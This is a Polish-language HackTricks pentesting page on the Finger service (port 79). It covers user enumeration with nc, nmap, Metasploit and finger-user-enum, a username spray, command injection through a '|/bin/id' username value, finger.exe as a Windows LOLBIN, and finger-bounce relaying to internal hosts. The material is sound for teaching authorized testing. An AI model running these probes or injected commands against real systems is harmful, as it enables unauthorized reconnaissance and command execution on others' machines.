79 - Pentesting Finger

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Program/usługa Finger służy do pobierania informacji o użytkownikach systemu. Zazwyczaj udostępniane informacje obejmują nazwę logowania użytkownika, pełne imię i nazwisko, a w niektórych przypadkach dodatkowe szczegóły. Mogą to być lokalizacja biura i numer telefonu (jeśli dostępne), czas zalogowania użytkownika, okres nieaktywności (idle time), ostatni moment odczytania poczty przez użytkownika oraz zawartość plików użytkownika .plan i .project.

Z perspektywy pentesting, Finger nadal jest interesujący, ponieważ protokół jest wyjątkowo mały, czytelny dla człowieka, i często implementowany z przestarzałą logiką parsowania. Demon może ujawnić:

  • aktualnie zalogowanych użytkowników
  • pełne imiona i nazwiska / dane GECOS
  • katalogi domowe, powłoki (shells), czasy ostatniego logowania oraz TTY
  • zawartość .plan / .project
  • zachowanie relay umożliwiające zapytanie drugiego hosta przez pierwszy

Domyślny port: 79

PORT   STATE SERVICE
79/tcp open  finger

Enumeration

nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
printf '\r\n' | nc -vn <IP> 79         # Null query: ask for logged-in users
printf '/W root\r\n' | nc -vn <IP> 79  # Long format, if the daemon supports it

Protokół to ASCII over TCP/79, zwykle zakończony CRLF, a server closes the TCP connection po odpowiedzi. W praktyce puste zapytanie (\r\n) często wystarcza, aby pobrać aktualną listę użytkowników, co jest także tym, co robi domyślny skrypt NSE finger Nmap.

User enumeration

finger @<Victim>       #List users
finger admin@<Victim>  #Get info of user
finger user@<Victim>   #Get info of user
finger -l user@<Victim> #Long format from common UNIX clients

Alternatywnie możesz użyć finger-user-enum z pentestmonkey, kilka przykładów:

finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1

Ważnym niuansem przy Finger enumeration jest to, że nie ma sztywnego formatu odpowiedzi w różnych daemonach. Narzędzia takie jak finger-user-enum dobrze działają przeciwko usługom w stylu Solaris, ponieważ poprawni i błędni użytkownicy generują różne układy tekstu, ale może być konieczne ręczne porównanie pozytywnych i negatywnych odpowiedzi i dostosowanie regexes, jeśli docelowy daemon jest nietypowy.

Przydatne sondy, gdy daemon nie zachowuje się jak stock Solaris/BSD:

# Null query: enumerate currently logged-in users
printf '\r\n' | nc -vn <IP> 79

# Long format
printf '/W\r\n' | nc -vn <IP> 79
printf '/W root\r\n' | nc -vn <IP> 79

# Spray several likely accounts in one go against permissive daemons
printf 'root admin oracle mysql ftp user test\r\n' | nc -vn <IP> 79

Nmap: uruchomienie skryptu przy użyciu default scripts

nmap -sV -sC -p79 <IP>
nmap --script finger -p79 <IP>

Nmap’s finger NSE script is bezpieczny i po prostu wysyła null query, aby odzyskać aktualną listę użytkowników. Jeśli chcesz szerszego username guessing wobec permissive daemons, rozważ rozszerzenie podejścia o custom wordlists lub użycie projektów takich jak fat-finger.nse, które wysyłają wiele prawdopodobnych nazw kont w jednym żądaniu i szukają dopasowań username/GECOS.

Metasploit używa więcej sztuczek niż Nmap

use auxiliary/scanner/finger/finger_users

Shodan

  • port:79 USER

Wykonywanie poleceń

finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"

RFC 1288 wyraźnie pozwala implementacjom na uruchomienie programu kontrolowanego przez użytkownika w odpowiedzi na zapytanie Finger, stąd pochodzi klasyczne nadużycie |/bin/.... Dziś jest to rzadkie, ale jeśli znajdziesz niestandardowy lub przestarzały daemon, testuj ostrożnie pod kątem:

  • metaznaki shell w obsłudze nazwy użytkownika
  • wykonywanie |program w hookach planu/projektu
  • wrappery backendu, które przekazują nazwę użytkownika do skryptu shell lub CGI

Pamiętaj też o ścieżce nadużyć client-side na Windows: finger.exe jest podpisanym LOLBIN, który może pobrać dowolny tekst z zdalnego serwera Finger przez TCP/79, a następnie przekierować ten output do innego procesu. Ta technika jest bardziej istotna w kontekście post-exploitation niż service enumeration, więc zobacz the Linux reverse-shell page dla pomysłu transportu shell i miej to na uwadze podczas emulacji attacker tradecraft.

Finger Bounce

Use a system as a finger relay

finger user@host@victim
finger @internal@external

To nie tylko dziwactwo implementacyjne: RFC 1288 definiuje rekursywne @hostname forwarding ({Q2} zapytań). Jeśli daemon obsługuje relaying, serwer pośredniczący otwiera drugie połączenie Finger za Ciebie i zwraca odpowiedź przez oryginalne gniazdo. To oznacza:

  • Twój host może nie łączyć się bezpośrednio z docelowym hostem
  • relay może być użyty do enumeracji użytkowników wewnętrznych z wystawionej usługi Finger
  • finger-user-enum obsługuje to natywnie z -r <relay>

Przykład:

# Ask 10.0.0.1 to finger root on 10.0.0.2
printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79

# Enumerate usernames on 10.0.0.2 through relay 10.0.0.1
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1

Jeśli przekazywanie działa, użyj go jako wewnętrznego prymitywu rozpoznawczego i porównaj przekazany wynik z bezpośrednim wynikiem demona publicznego. Różne formatowanie lub filtrowanie często ujawnia, czy ścieżka przekazu jest obsługiwana przez oddzielny backend lub wrapper.

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks